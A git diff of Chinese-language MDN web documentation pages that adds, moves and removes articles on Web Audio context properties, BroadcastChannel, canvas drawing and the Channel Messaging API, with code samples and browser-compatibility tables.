Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/destination/index.html b/files/zh-cn/web/api/baseaudiocontext/destination/index.html new file mode 100644 index 0000000000..04fdfe8247 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/destination/index.html @@ -0,0 +1,114 @@ +--- +title: AudioContext.destination +slug: Web/API/AudioContext/destination +translation_of: Web/API/BaseAudioContext/destination +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+gainNode.connect(audioCtx.destination);
+ +

返回值

+ +

An {{ domxref("AudioDestinationNode") }}.

+ +

例子

+ +
+

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillatorNode.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/listener/index.html b/files/zh-cn/web/api/baseaudiocontext/listener/index.html new file mode 100644 index 0000000000..81b2a730a2 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/listener/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.listener +slug: Web/API/AudioContext/listener +translation_of: Web/API/BaseAudioContext/listener +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myListener = audioCtx.listener;
+ +

返回值

+ +

An {{ domxref("AudioListener") }} object.

+ +

例子

+ +
+

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+var myListener = audioCtx.listener;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html new file mode 100644 index 0000000000..ee9b3f21c0 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html @@ -0,0 +1,101 @@ +--- +title: AudioContext.onstatechange +slug: Web/API/AudioContext/onstatechange +translation_of: Web/API/BaseAudioContext/onstatechange +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+audioCtx.onstatechange = function() { ... };
+ +

例子

+ +

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html new file mode 100644 index 0000000000..b811702e26 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.sampleRate +slug: Web/API/AudioContext/sampleRate +translation_of: Web/API/BaseAudioContext/sampleRate +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var mySampleRate = audioCtx.sampleRate;
+ +

返回值

+ +

A floating point number.

+ +

例子

+ +
+

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.sampleRate);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/state/index.html b/files/zh-cn/web/api/baseaudiocontext/state/index.html new file mode 100644 index 0000000000..97876f5d3d --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/state/index.html @@ -0,0 +1,111 @@ +--- +title: AudioContext.state +slug: Web/API/AudioContext/state +translation_of: Web/API/BaseAudioContext/state +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myState = audioCtx.state;
+ +

返回值

+ +

{{domxref("DOMString")}},可能的值如下:

+ + + +

例子

+ +

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/message_event/index.html b/files/zh-cn/web/api/broadcastchannel/message_event/index.html new file mode 100644 index 0000000000..ccbd2d9859 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/message_event/index.html @@ -0,0 +1,167 @@ +--- +title: 'BroadcastChannel: message event' +slug: Web/Events/message +tags: + - 事件 + - 消息 + - 通信 +translation_of: Web/API/BroadcastChannel/message_event +--- +
{{APIRef}}
+ +

当频道收到一条消息时,会在关联的 {{domxref('BroadcastChannel')}} 对象上触发 message 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("MessageEvent")}}
Event handler propertyonmessage
+ +

示例

+ +

实时示例

+ +

在这个例子中,有一个 <iframe> 作为发送者,当用户点击按钮之后,会广播 <textarea> 中的内容。同时,有两个 <iframe> 作为接收者,会监听广播的消息,并将结果写入 <div> 元素。

+ +

发送者

+ + + +
const channel = new BroadcastChannel('example-channel');
+const messageControl = document.querySelector('#message');
+const broadcastMessageButton = document.querySelector('#broadcast-message');
+
+broadcastMessageButton.addEventListener('click', () => {
+    channel.postMessage(messageControl.value);
+})
+
+ +

接收者 1

+ + + +
const channel = new BroadcastChannel('example-channel');
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+ +

接收者 2

+ + + +
const channel = new BroadcastChannel('example-channel');
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+ +

结果

+ +

{{ EmbedLiveSample('发送者', '100%', '170px','' ,'' , 'dummy') }}

+ +

{{ EmbedLiveSample('接收者_1', '100%', '150px','' ,'' , 'dummy') }}

+ +

{{ EmbedLiveSample('接收者_2', '100%', '150px','' ,'' , 'dummy') }}

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', 'indices.html#event-message')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.message_event")}}

+ +

相关信息

+ + diff --git a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html b/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html deleted file mode 100644 index 3cef2b94e8..0000000000 --- a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Drawing graphics with canvas -slug: Web/API/Canvas_API/Drawing_graphics_with_canvas -translation_of: Web/API/Canvas_API/Tutorial -translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas ---- -
-

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

-

 

-
-

Introduction

-

With Firefox 1.5, Firefox includes a new HTML element for programmable graphics. <canvas> is based on the WHATWG canvas specification, which itself is based on Apple's <canvas> implemented in Safari. It can be used for rendering graphs, UI elements, and other custom graphics on the client.

-

<canvas> creates a fixed size drawing surface that exposes one or more rendering contexts. We'll focus on the 2D rendering context. For 3D graphics, you should use the WebGL rendering context.

-

The 2D Rendering Context

-

A Simple Example

-

To start off, here's a simple example that draws two intersecting rectangles, one of which has alpha transparency:

-
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillStyle = "rgb(200,0,0)";
-  ctx.fillRect (10, 10, 55, 50);
-
-  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
-  ctx.fillRect (30, 30, 55, 50);
-}
-
- -

{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}

-

The draw function gets the canvas element, then obtains the 2d context. The ctx object can then be used to actually render to the canvas. The example simply fills two rectangles, by setting fillStyle to two different colors using CSS color specifications and calling fillRect. The second fillStyle uses rgba() to specify an alpha value along with the color.

-

The fillRect, strokeRect, and clearRect calls render a filled, outlined, or clear rectangle. To render more complex shapes, paths are used.

-

Using Paths

-

The beginPath function starts a new path, and moveTo, lineTo, arcTo, arc, and similar methods are used to add segments to the path. The path can be closed using closePath. Once a path is created, you can use fill or stroke to render the path to the canvas.

-
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillStyle = "red";
-
-  ctx.beginPath();
-  ctx.moveTo(30, 30);
-  ctx.lineTo(150, 150);
-  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
-  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // <- this is right formula for the image on the right ->
-  ctx.lineTo(30, 30);
-  ctx.fill();
-}
-
- -

{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}

-

Calling fill() or stroke() causes the current path to be used. To be filled or stroked again, the path must be recreated.

-

Graphics State

-

Attributes of the context such as fillStyle, strokeStyle, lineWidth, and lineJoin are part of the current graphics state. The context provides two methods, save() and restore(), that can be used to move the current state to and from the state stack.

-

A More Complicated Example

-

Here's a little more complicated example, that uses paths, state, and also introduces the current transformation matrix. The context methods translate(), scale(), and rotate() all transform the current matrix. All rendered points are first transformed by this matrix.

-
function drawBowtie(ctx, fillStyle) {
-
-  ctx.fillStyle = "rgba(200,200,200,0.3)";
-  ctx.fillRect(-30, -30, 60, 60);
-
-  ctx.fillStyle = fillStyle;
-  ctx.globalAlpha = 1.0;
-  ctx.beginPath();
-  ctx.moveTo(25, 25);
-  ctx.lineTo(-25, -25);
-  ctx.lineTo(25, -25);
-  ctx.lineTo(-25, 25);
-  ctx.closePath();
-  ctx.fill();
-}
-
-function dot(ctx) {
-  ctx.save();
-  ctx.fillStyle = "yellow";
-  ctx.fillRect(-2, -2, 4, 4);
-  ctx.restore();
-}
-
-function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // note that all other translates are relative to this one
-  ctx.translate(45, 45);
-
-  ctx.save();
-  //ctx.translate(0, 0); // unnecessary
-  drawBowtie(ctx, "red");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(85, 0);
-  ctx.rotate(45 * Math.PI / 180);
-  drawBowtie(ctx, "green");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(0, 85);
-  ctx.rotate(135 * Math.PI / 180);
-  drawBowtie(ctx, "blue");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(85, 85);
-  ctx.rotate(90 * Math.PI / 180);
-  drawBowtie(ctx, "yellow");
-  dot(ctx);
-  ctx.restore();
-}
-
- -

{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}

-

This defines two methods, drawBowtie and dot, that are called 4 times. Before each call, translate() and rotate() are used to set up the current transformation matrix, which in turn positions the dot and the bowtie. dot renders a small black square centered at (0, 0). That dot is moved around by the transformation matrix. drawBowtie renders a simple bowtie path using the passed-in fill style.

-

As matrix operations are cumulative, save() and restore() are used around each set of calls to restore the original canvas state. One thing to watch out for is that rotation always occurs around the current origin; thus a translate() rotate() translate() sequence will yield different results than a translate() translate() rotate() series of calls.

-

Compatibility With Apple <canvas>

-

For the most part, <canvas> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.

-

Required </canvas> tag

-

In the Apple Safari implementation, <canvas> is an element implemented in much the same way <img> is; it does not have an end tag. However, for <canvas> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a required end tag.

-

If fallback content is not needed, a simple <canvas id="foo" ...></canvas> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.

-

If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).

-
canvas {
-  font-size: 0.00001px !ie;
-}
-

Additional Features

-

Rendering Web Content Into A Canvas

-
- This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. Read why.
-

Mozilla's canvas is extended with the drawWindow() method. This method draws a snapshot of the contents of a DOM window into the canvas. For example,

-
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
-
-

would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).

-

It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.

-

With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.

-

Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.

-
- Note: Using canvas.drawWindow() while handling a document's onload event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the MozAfterPaint event to successfully draw HTML content into a canvas on page load.
-

See also

- diff --git a/files/zh-cn/web/api/canvascapturemediastream/index.html b/files/zh-cn/web/api/canvascapturemediastream/index.html deleted file mode 100644 index 1a71e7d834..0000000000 --- a/files/zh-cn/web/api/canvascapturemediastream/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: CanvasCaptureMediaStream -slug: Web/API/CanvasCaptureMediaStream -translation_of: Web/API/CanvasCaptureMediaStreamTrack ---- -
{{APIRef}}{{SeeCompatTable}}
- -

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

- -

属性

- -

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

- -
-
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
-
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
-
- -

方法

- -

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

- -
-
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
-
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
-
- -

说明

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

- -

其他参考资料

- - diff --git a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html new file mode 100644 index 0000000000..1a71e7d834 --- /dev/null +++ b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html @@ -0,0 +1,103 @@ +--- +title: CanvasCaptureMediaStream +slug: Web/API/CanvasCaptureMediaStream +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

+ +

属性

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

+ +
+
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
+
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
+
+ +

方法

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

+ +
+
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
+
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

+ +

其他参考资料

+ + diff --git a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html new file mode 100644 index 0000000000..8ddfa8df8e --- /dev/null +++ b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -0,0 +1,179 @@ +--- +title: 使用 channel messaging +slug: Web/API/Channel_Messaging_API/使用_channel_messaging +tags: + - API + - Channel messaging + - HTML5 + - MessageChannel + - MessagePort + - 指南 +translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

+ +

在文本中,我们将探索这项技术的基本用法。

+ +

{{AvailableInWorkers}}

+ +

用例

+ +

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

+ +

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

+ +
+

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

+
+ +

简单的例子

+ +

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

+ +

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

+ +

本文中,我们重点说后面的这个例子。它看起来像是这样:

+ +

+ +

创建 channel

+ +

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

+ +
var input = document.getElementById('message-input');
+var output = document.getElementById('message-output');
+var button = document.querySelector('button');
+var iframe = document.querySelector('iframe');
+
+var channel = new MessageChannel();
+var port1 = channel.port1;
+
+// 等待 iframe 加载
+iframe.addEventListener("load", onLoad);
+
+function onLoad() {
+  // 监听按钮点击
+  button.addEventListener('click', onClick);
+
+  // 在 port1 监听消息
+  port1.onmessage = onMessage;
+
+  // 把 port2 传给 iframe
+  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
+}
+
+// 当按钮点击时,在 port1 上发送一个消息
+function onClick(e) {
+  e.preventDefault();
+  port1.postMessage(input.value);
+}
+
+// 处理 port1 收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

+ +

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

+ +

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

+ +
    +
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. +
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. +
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. +
+ +

当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

+ +

在 IFrame 里接收 port 和消息

+ +

在 IFrame 里,我们有下面的 JavaScript:

+ +
var list = document.querySelector('ul');
+var port2;
+
+// 监听初始的 port 传递消息
+window.addEventListener('message', initPort);
+
+// 设置传过来的 port
+function initPort(e) {
+  port2 = e.ports[0];
+  port2.onmessage = onMessage;
+}
+
+// 处理 port2 收到的消息
+function onMessage(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  port2.postMessage('Message received by IFrame: "' + e.data + '"');
+}
+
+ +

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

+ +

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

+ +

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

+ +

在主页面中接收确认消息

+ +

回到主页面,我们来一起看看 onmessage 事件处理函数。

+ +
// 处理 port1 上收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

参见

+ + diff --git "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" "b/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" deleted file mode 100644 index 8ddfa8df8e..0000000000 --- "a/files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: 使用 channel messaging -slug: Web/API/Channel_Messaging_API/使用_channel_messaging -tags: - - API - - Channel messaging - - HTML5 - - MessageChannel - - MessagePort - - 指南 -translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging ---- -

{{DefaultAPISidebar("Channel Messaging API")}}

- -

